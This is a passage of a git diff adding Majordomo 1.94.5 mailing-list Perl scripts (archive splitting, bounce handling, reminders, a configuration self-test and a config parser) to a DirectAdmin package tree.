+} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); +} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl.orig new file mode 100644 index 0000000..105e5cb --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl.orig @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +require "getopts.pl"; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +&Getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; +} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); +} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce new file mode 100644 index 0000000..6bfc79e --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce @@ -0,0 +1,202 @@ +#!/bin/perl + +# move problem addresses from to "bounces" +# +# Assumes that the "approve" password for each list is stored in a file +# called ".majordomo" in the user's home directory, in the following format: +# +# List Password Majordomo-Address +# +# When you bounce someone from a list, it looks up that lists's password +# and Majordomo-Address (the address of the Majordomo server serving that +# list) in the .majordomo file, and looks for another list named "bounces" +# with the same Majordomo-Address. +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# bounces passwd3 Majordomo@This.COM +# bounces passwd4 Majordomo@Other.GOV +# +# A command of "bounce this-list user@fubar.com" will mail the +# following message to Majordomo@This.COM: +# +# approve passwd1 unsubscribe this-list user@fubar.com +# approve passwd3 subscribe bounces user@fubar.com (930401 this-list) +# +# Note that the date and the list the user was bounced from are included +# as a comment in the address used for the "subscribe bounces" command. +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 14:09:24 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$MAILER = "/usr/lib/sendmail"; + +$default_maxage = 21; + +# if this program is called unsub, then only unsubscribe, don't add to bounces + +($basename = $0) =~ s!.*/!!; +if ($basename =~ /unsub/) { + $unsub_only = 1; +} + +while ($ARGV[0] =~ /^(-.*)/ && shift) { + if ($1 eq "-f") { + $opt_f = shift; + } + elsif ($1 eq "-d") { + $debug = 1; + } + elsif ($1 eq "-unsub") { + $unsub_only = 1; + } + elsif ($1 eq "-expire") { + $expire = 1; + } + elsif ($1 eq "-majordomo") { + $majordomo = shift; + } + elsif ($1 eq "-maxage") { + $maxage = int(shift); + if ($maxage <= 0) { + warn "$maxage is not a positive integer; ignoring.\n"; + $maxage = 0; + } + } + else { + warn "bad option: $1\n"; + &usage(); + } +} + +if (! defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +if ($maxage && !$expire) { + warn "Can't specify -maxage without -expire\n"; + &usage(); +} + +&read_config(); + +if ($expire) { + if ($maxage <= 0) { + $maxage = $default_maxage; + } + # convert maxage in days to seconds + $maxage *= 24*60*60; + $list = 'bounces'; + if ($majordomo) { + $majordomo{$list} = $majordomo; + } +} +else { + $list = shift(@ARGV); + $list =~ tr/A-Z/a-z/; + $list =~ s/\@.*//; + + $list_passwd = $passwd{$list}; + if (! $list_passwd) { + die("no password for list $list; stopping"); + } + $maxage = 0; +} + +$bounce_passwd = $passwd{"bounces\@$majordomo{$list}"}; +if (! $unsub_only ) { + if (! $bounce_passwd) { + die("no password for list bounces; stopping"); + } +} + +($sec,$min,$hour,$mday,$mon,$year) = localtime(time-$maxage); +$year += 1900; + +if ($debug) { + open(MSG, ">&STDOUT"); +} else { + open(MSG, "|$MAILER $majordomo{$list}") || + die("open(MSG, \"|$MAILER $majordomo{$list}\"): $!\nStopped"); +} + +print MSG "To: $majordomo{$list}\n"; +print MSG "Subject: expired bounces entries\n" if $expire; +print MSG "\n"; + +if ($expire) { + $expire_date = sprintf("%02d%02d%02d", $year, $mon+1, $mday); + while (<>) { + # bounce format is user.name (yymmdd listname), we want yymmdd + next unless /.*\s\((\d+) \w.*\)/; + if ($1 <= $expire_date) { + printf MSG "approve %s unsubscribe bounces %s", $bounce_passwd, $_; + } + } +} else { + foreach (@ARGV) { + printf MSG "approve %s unsubscribe %s %s\n", $list_passwd, $list, $_; + if (! $unsub_only) { + printf MSG "approve %s subscribe bounces %s (%02d%02d%02d %s)\n", + $bounce_passwd, $_, $year, $mon+1, $mday, $list; + } + } +} +close(MSG); + +exit 0; + +sub read_config { + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + chop; + s/#.*//; + next if /^\s*$/; + local($list,$passwd,$majordomo) = split(' ',$_,3); + $list =~ tr/A-Z/a-z/; + $majordomo =~ tr/A-Z/a-z/; + if (! defined($passwd{$list})) { + $passwd{$list} = $passwd; + $majordomo{$list} = $majordomo; + } + $passwd{"$list\@$majordomo"} = $passwd; + } + close(CONF); +} + +sub usage { + print STDERR <] [-unsub] + $0 [-d] [-f ] -expire [-maxage ] + [-majordomo ] + +Options: + -d Debug: print what would be done, but don't do it. + -f config_file Specify a list/passwd file (default ~/.majordomo) + + -unsub Unsubscribe the user from the list, but don't add + to bounces. On by default if the program name + contains "unsub". + + -expire Expire entries from the specified bounces list. + -maxage days Expire entries older than maxage days (default + $default_maxage days). + -majordomo addr Send expired bounces to this majordomo (default is + the majordomo corresponding to the first 'bounces' + list). + bounce_entries A file containing bounce entries (eg. the bounces list) +EOT + exit(1); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce-remind b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce-remind new file mode 100644 index 0000000..6da75ed --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce-remind @@ -0,0 +1,105 @@ +#!/bin/perl + +# send a reminder to folks on a bounce list + +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce-remind,v $ +# $Revision: 1.9 $ +# $Date: 1996/12/09 16:49:46 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$main'program_name = 'mj_bounce-remind'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +# All these should be in the standard PERL library +unshift(@INC, $homedir); + +# Set these here so that they can be interploated on the $mailer command line. +$sender = "nobody\@$whereami"; +$to = "Bounces\@$whereami"; +$from = "nobody\@$whereami"; +$subject = "Bouncing email from mailing lists at $whereami"; + +$mail_cmd = eval qq/"$mailer"/; + +open(MSG, "|$mail_cmd bounces\@$whereami") || + die("open(MSG, \"|$mail_cmd bounces\@$whereami\"): $!\nStopped"); + +print MSG <) { + print MSG "\t$_"; +} + +close(LIST); + +print MSG < +# more mods by Vince Skahan +# +# execute this by cd to your majordomo dir, then 'wrapper config-test' +# + +use POSIX qw(ctime); +@requires = ( "majordomo_version.pl", + "majordomo.pl", + "shlock.pl", + "config_parse.pl", + ); + +$registration_file = ".majordomo_registration"; + +$default_uid = 123; + +if (!$ENV{'MAJORDOMO_CF'}) { + print <<"STOP" + +\a\aYou're attempting to run $0 the wrong way! +Let's try running it through ./wrapper instead, hmm? +STOP + ; + sleep 2; + if (-x "./wrapper") { + exec("./wrapper config-test", @ARGV); + } else { + print <<"dummy" +Well, shoot, you forget to run + + make install-wrapper + +as well! Better go do that... +dummy + ; + exit 1; + } +} + + + +&header(''); +&header("Config-test for Majordomo"); +&header(''); +print "\n\n"; + + + +&header("Obvious things:"); + +&header("environment variables"); +foreach $e (sort keys %ENV) { + print " $e=$ENV{$e}\n"; +} + +&header("euid/egid checks"); + +$euid_name=getpwuid($>); +push(@egid_group_numbers,(split(' ',$) ))); # it switches groups... +foreach $groupnum (@egid_group_numbers) { + $name = getgrgid($groupnum); + push(@egid_names,$name); +} +print " effective user = $euid_name (uid $>)\n"; +print " effective group = @egid_names (gid $) )\n"; + +&header("uid/gid checks"); + +$uid_name=getpwuid($<); +push(@gid_group_numbers,(split(' ',$( ))); # it switches groups... +foreach $groupnum (@gid_group_numbers) { + $name = getgrgid($groupnum); + push(@gid_names,$name); +} +print " real user = $uid_name (uid $<)\n"; +print " real group = @gid_names (gid $( )\n"; + +if ($< == $default_uid) { # the default uid + print <<"idontthinkso" +I think it's highly unlikely that you're using the default +user id of $default_uid for majordomo. Lemme check... + +idontthinkso + ; + $name = (getpwuid($default_uid))[0]; + if (! $name ) { + print <<"ithoughtso" + +Hah! I thought so! You've forgotten to use the right user id +in the Makefile. Make sure that W_USER and W_GROUP are set to +the correct values in the Makefile, and run + make install-wrapper +again. + +ithoughtso +;#' + exit 1; + } else { + print <<"wellokay" +Hmm! The user with the uid of $default_uid is $name, so +at least the user exists. If this isn't the majordomo user, +make sure that W_USER and W_GROUP are set to the correct values +in the Makefile, and run + make install-wrapper +again. + +wellokay +;#' + } +} + +&header(''); +print "\n\tNon obvious things that cause headaches:\n\n"; +&header(''); + +$cf = $ARGV[0] || $ENV{'MAJORDOMO_CF'}; + +if (eval "require '$cf'") { + &good("'require'd $cf okay."); +} else { + &bad("something's wrong with $cf: $@"); +} + +foreach (@requires) { + if (require $_) { + &good("found $_ okay."); + } else { + &bad("failed to find $_ in \@INC"); + } +} + +print "\n"; + +print "You're running Majordomo Version $majordomo_version.\n"; + +print "\n--==> Majordomo home directory is $homedir.\n"; + +unshift(@INC, $homedir); + +&header("Include directories"); +foreach (@INC) { + print "\t$_\n"; +} + +&header("Home"); + +if (chdir($homedir)) { + &good("changedir to $homedir succeeded."); +} else { + &bad("changedir to $homedir failed, $!"); +} +if (open(TEST, ">cftest.$$")) { + &good("Created a mock lock file."); + close(TEST); + unlink("cftest.$$"); +} +else { + &bad("Couldn't create a mock lock file.\n \$homedir ($homedir) needs to be writable."); +} + +&header("temp directory"); +if (! defined $TMPDIR) { + &bad("\$TMPDIR not defined by majordomo.cf"); +} +elsif (-d $TMPDIR) { + if (open(TEST, ">$TMPDIR/cftest.$$")) { + &good("Created a temp file in \$TMPDIR ($TMPDIR)."); + close(TEST); + unlink("$TMPDIR/cftest.$$"); + } + else { + &bad("Couldn't create a file in $TMPDIR."); + } +} +else { + &bad("\$TMPDIR ($TMPDIR) does not exist."); +} + +&header("list directory"); + +if (-d $listdir) { + if (-r $listdir && -w $listdir && -x $listdir) { + &good("list directory $listdir has good permissions."); + } else { + &bad("list directory $listdir has bad permissions"); + } +} else { + print "Hmmm, list directory $listdir doesn't exist\n or isn't a directory.\n"; + print "Let me try to make it for you...\n"; + if ( mkdir( $listdir, 0777) ) { + &good("list directory $listdir created.\n"); + } else { + &bad("Couldn't create $listdir, $!"); + } +} + +&header("log"); + +if ( ! -e $log ) { + print "Logfile $log didn't exist, trying to create...\n "; + if (open(A, ">$log") && close(A) ) { # sesame + print "okay, now chmod'ing..\n"; + chmod (0664, $log) || &bad( "chmod on $log failed, $!"); + } else { + &bad("Couldn't create logfile $log, $!\n"); + } +} + +if ( -f $log && -r $log && -w $log) { + &good("logfile $log exists and is writeable."); +} else { + &bad("logfile $log exists, but is not writeable or isn't a file."); +} + +&header ("Mailers"); +if ($mailer) { + print "You have defined a mailer for delivery.\n"; + if ($mailer =~ /sendmail.*\s-t/i) { + print "Whoa! You have given the \"-t\" option to sendmail. This can cause mail\n"; + print "loops when used for outbound delivery.\n"; + $BAD++; + } + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$mailer to be used for delivery, but you have\n"; + print "defined \$sendmail_command. Majordomo will use\n"; + print "$sendmail_command -f\\\$sender\n"; + print "to deliver mail to the list unless you define list-specific cases.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender\n"; + print "to deliver mail to the list.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + +if ($bounce_mailer) { + print "You have defined a mailer for delivering administrative messages.\n"; + ($x = $mailer) =~ s/\s.*$//; # Remove everything after and including + # the first space +} +elsif ($sendmail_command) { + print "You haven't defined a \$bounce_mailer to be used for delivering\n"; + print "administrative messages, but you have defined \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "$sendmail_command -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = $sendmail_command; +} +else { + print "You have defined neither \$mailer, nor \$sendmail_command.\n"; + print "Majordomo will use\n"; + print "/usr/lib/sendmail -f\\\$sender -t\n"; + print "to deliver administrative mail.\n"; + $x = "/usr/lib/sendmail"; +} + +print "Attempting to verify that this is a valid mailer..."; +if ( -x $x ) { + print "looks okay.\n"; +} else { + print "nope, $x is not executable\n"; + $BAD++; +} + + +&header("Checking majordomo.cf"); + +print "Checking to see if there are new variables that should be in\n"; +print "your majordomo.cf file..."; + +open($cf, $cf) || &bad("Couldn't open $cf for reading, $!"); +open(S, 'sample.cf') || &bad("Couldn't open sample.cf for reading, $!"); + +while () { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 2; +} + +while (<$cf>) { + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 1 unless defined $config{$1}; # Keeps -w happy + $config{$1} |= 1; +} + +close (S); +close $cf; + +# $config{whatever} == 1 if only in their majordomo.cf, +# == 2 if only in sample.cf, +# == 3 if in both. +# + +foreach (sort keys %config) { + push (@new, $_) if $config{$_} == 2; + push (@unknown, $_) if $config{$_} == 1; +} + +if ($#new >= 0) { + print "\nNew configuration variables (see sample.cf):\n"; + foreach (@new) { print "\t$_\n"; } +} + +if ($#unknown >= 0) { + print "\nUnknown configuration variables in existing majordomo.cf:\n"; + foreach (@unknown) { print "\t$_\n"; } +} + +if ($#new == -1 && $#unknown == -1) { + print "Nope, none that I see.\n"; +} + +print "\nHave you configured where Majordomo is?\n"; +print "\t\$whereami is $whereami\n"; +if ($whereami eq "example.com") { + &bad("\$whereami hasn't been changed yet!"); +} else { + &good("yup!"); +} + +&header("end of tests"); + +print "\n\n"; + +if ($BAD) { + print "$BAD bad ", $BAD == 1 ? "thing was" : "things were", " found.\n"; + print "Please fix before attempting to run Majordomo.\n"; +} else { + print <<"ZOT"; +Nothing bad found! Majordomo _should_ work correctly. + +If it doesn't, check your configuration file + ($cf) +closely, and if it still looks okay, consider asking the majordomo-users +mailing list at "majordomo-users\@greatcircle.com" for assistance. Be sure +and fully specify what your problems are, and what type of machine (and +operating system) you are using. + +Enjoy! + +ZOT + +#' + + if ( ! -e $registration_file || + `cat $registration_file` ne $majordomo_version) { + print <<"ZOT"; +I see you haven't registered this version of Majordomo. +By registering, you will be notified of patches and further releases +of Majordomo. Shall I send email to majordomo-registration\@greatcircle.com +to register this version? (I'll cc $whoami_owner) +ZOT + +#' + print "[yes] "; + if ( <> !~ /n/i) { + open(RF,">$registration_file") + || die "couldn't create $registration_file, $!"; + print RF $majordomo_version; + close RF; + + $sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; + $bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + &set_abort_addr($whoami_owner); + &set_mail_from($whoami); $x = $whoami; # Keeps -w happy + &set_mail_sender($whoami_owner); + &set_mailer($bounce_mailer); + + &sendmail(REG, "majordomo-registration\@greatcircle.com,$whoami_owner", + "Majordomo Registration"); + print REG "Majordomo Version: $majordomo_version\n"; + print REG "Perl version $]\n"; + print REG "Majordomo Owner: $whoami_owner\n"; + print REG "Uname: " . `uname -a`; + close REG; + } else { + print "Ooooh, like to live dangerously, eh?!\n\n"; + } + } + +} + + +###################################################################### +sub good { print "Good: $_[0]\n"; } + +sub bad { print "BAD: $_[0]\n"; $BAD++;} + +sub header { + if (length $_[0]) { + print '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), + " $_[0] ", '-' x ( ( 60 - (length($_[0]) + 2) ) / 2), "\n"; + } else { + print '-' x 60, "\n"; + } +} + +# +# that's all folks + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config_parse.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config_parse.pl new file mode 100644 index 0000000..5d2bbf2 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config_parse.pl @@ -0,0 +1,1511 @@ +'di'; +'ig00'; +# A file to parse a majordomo mailing list config file +# +# writes into the global variable %main'config_opts +# + +# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.71 2000/01/07 14:00:26 cwilson Exp $ +# $Modified: Fri Jan 7 14:59:49 2000 by cwilson $ + +# this array holds the interesting info for use by all tools +%main'config_opts=(); + +require 'shlock.pl'; + +# here is the config package +package config; + +$config'debug = 0; #Set to non-zero for various debugging levels + +$clobber = 1; # if 0 don't empty previous list entries for configuration + +@errors = (); # The config'errors array is used to store error messages + # if the array is not empty, it causes main'get_config() + # to return 1. + +$installing_defaults = 0; # Set to 1 when installing defaults, in case + # a grab_ function needs to act differently + # when dealing with a default item. + +## Begin +## The following associative arrays are used: +## +## %known_keys(keyword,default value) -- defines the known keys in the +## config file. A null value implies that the +## string is undefined. A default value with '#!' +## at the beginning causes the string to be +## eval'ed. This is useful for substituting the +## list name etc into the string. If the keyword +## takes on a descrete set of values, the +## parse function MUST be grab_enum. The value of +## known_keys is the list of +## enumerated values. The separator character is +## "\001". Added onto the end is the default +## value. If the value can take on numerous +## values (i.e. is an array), the value is a +## string with each element in the array +## separated by "\001". +## +## %comments(keyword, comment) -- keeps comments for each keyword +## The comments are printed out when making a config +## file. So that they will document the use of +## the keyword. +## +## %parse_function(key, function) -- The function to use to parse the +## value for a given key. All functions for this +## purpose begin with "grab_", and are in package +## config. The type of the function can be +## appended with __ to the name of the +## function. There are some special names for +## some of the functions. Any function that +## allows array values must end in _array. This +## allows the main parser to determine that an +## array syntax is allowable for the keyword. +## +## %subsystem(keyword, subsystem) -- tells what subsystem each keyword +## belongs to. By default only majordomo, and +## resend are used as subsystems. This is meant +## for extentions such as majordomo-mh that +## allows access to the mh mail package via +## majordomo. +## End + +# provide list of known keys. If value is '', then the key is undefined +# I.e. the action is just as though there was no keyword found. +# otherwise the value is the default value for the keyword. +# if the value starts with #!, the rest of the value is eval'ed +%known_keys = ( + 'welcome', 'yes', # send welcome msg to new subscribers + 'announcements', 'yes', # send sub/unsub audits to list owner + 'get_access', "open\001closed\001list\001list", # open, anyone can access + 'index_access', "open\001closed\001list\001open", # closed, nobody can + 'who_access', "open\001closed\001list\001open", # list, only list can access. + 'which_access', "open\001closed\001list\001open", # ...more to come... + 'info_access', "open\001closed\001list\001open", # + 'intro_access', "open\001closed\001list\001list", # + 'advertise', '', # if regexp matches address show list + 'noadvertise', '', # if regexp matches address + # don't show list + 'description', '', # description of list, one line 55 char + 'subscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_subscribe_policy ? \$default_subscribe_policy : 'open'", + # open, closed, or auto. + 'unsubscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_unsubscribe_policy ? \$default_unsubscribe_policy : 'open'", + # open, closed, or auto. + 'mungedomain', 'no', # is user@foo.com == user@host.foo.com + 'admin_passwd', '#!"$list.admin"', # administration password + 'strip', 'yes', # remove comments from address on list + 'date_info', 'yes', # date the info file when installed + 'date_intro', 'yes', # date the intro file when installed + 'archive_dir', '', +# When it works use '#!$main\'filedir . "/" . $list', +# stuff for resend below + 'moderate', 'no', # Is list moderated + 'moderator', '', # moderator instead of owner-list + 'approve_passwd', '#!"$list.pass"', + # password for approving postings + 'sender', '#!"owner-" . $list', # Set sender name + 'maxlength', '40000', # Set max article length + 'precedence', 'bulk', # Set/install precendence header + 'reply_to', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/) { + $TEMP =~ s/-digest$//; + $TEMP; + } else { + ""; + }', + # Set/install reply-to header + # the code above sets the reply-to + # to null if it is not a -digest list, + # or the non-digest list if it is + # a -digest list. + 'restrict_post', '', # Like -I in resend + 'purge_received', 'no', # Remove received lines + 'administrivia', 'yes',# Enable administrivia checks + 'resend_host', '', # Change the host name + 'debug', 'no', # enable resend debugging + 'message_fronter', '', + 'message_footer', '', # text to be added at bottom of posting + 'message_headers', '', # headers to be added to messsages + 'subject_prefix', '', # prefix for the subject line + 'taboo_headers', '', # if a header matches, review message + 'taboo_body', '', # if body matches, review message +# stuff for digest below + 'digest_volume', '1', + 'digest_issue', '1', + 'digest_work_dir', '', + 'digest_name', '#!$list', + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', + 'digest_maxlines', '', + 'digest_maxdays', '', +# general stuff below + 'comments', '', # comments about config file + ); + +# An associative array of comments for all of the keys +# The text is wrapped and filled on output. +%comments = ( +'welcome', +"If set to yes, a welcome message (and optional 'intro' file) will be +sent to the newly subscribed user.", + +'announcements', +"If set to yes, comings and goings to the list will be sent to the list +owner. These SUBSCRIBE/UNSUBSCRIBE event announcements are informational +only (no action is required), although it is highly recommended that they +be monitored to watch for list abuse.", + +'get_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'index_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'who_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'which_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'info_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'intro_access', +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", + +'advertise', +"If the requestor email address matches one of these +regexps, then the list will be listed +in the output of a lists command. +Failure to match any regexp excludes the list from +the output. The regexps under noadvertise override these regexps.", + +'comments', +"Comment string that will be retained across 